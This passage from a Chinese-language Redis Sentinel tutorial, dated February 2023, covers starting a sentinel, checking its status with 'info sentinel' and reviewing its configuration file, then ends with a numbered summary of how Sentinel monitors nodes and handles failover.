是哨兵的英文名redis-server sentinel-26000.conf --sentinel复制代码8、全部结束,这个时候整个系统就开始运行了,这个时候想要验证,我们可以通过一个命令来看:通过redis-cli连接哨兵节点:info sentinel #sentinelsentinel_master:1sentinel_tilt:0sentinel_running_scripts:0sentinel_scripts_queue_length:0#看到这里主节点名称,以及状态,以及地址,以及从节点数量,哨兵数量master0:name=myaster,status=ok,address=192.168.1.1:6379,salves:2,sentinel:3复制代码9、这个时候,我们也可以看下哨兵的配置文件,例如:打开 sentinel-26000.conf 文件目录,从这里可以看到哨兵已经发现从节点与其他哨兵的一个存在。复制代码10、整个配置过程就结束了,我个人建议可以玩玩,挺不错的。三、总结 兄弟姐妹们能看到现在,必须给个赞👍。基础内容看了,配置也教了;但是整体感觉还差点,那么就对了,还差一波总结,总结就是精华 &核心。看一篇文章,总结一定要看呐,过来人~~~总结列举:1、哨兵,又名(redis sentinel),独立运行,进程方式。2、哨兵,自动化监控服务、切换主从节点,恢复故障。3、哨兵,也有单点问题,也可以搞集群。4、哨兵,每秒钟/次的频率向它的 master,salve 以及其他 哨兵 实例发送一个 ping 命令。5、哨兵,监控记录,可以查看哨兵所对应的 conf 文件。6、哨兵,配置种出现 epoch 的参数,是一个从 0 开始的计数器,选举机制。7、哨兵,故障发现和转移是由哨兵来控制和完成的。8、哨兵,节点本质上是 redis 节点。9、哨兵,可以监控多个主节点,通过配置多 sentinel monitor 即可实现。四、下期预告下期预告:故障如何转移?它是如何运行 &切换的呢?感谢各位的阅览 &关注,如果感觉对您或者周围的人不管在面试中还是实际学习中,如有所帮助,欢迎点赞、转发,谢谢。有任何疑问🤔️或后续想要了解的内容点,欢迎评论区留言,我来帮助你梳理 &总结,你来读。
2023年02月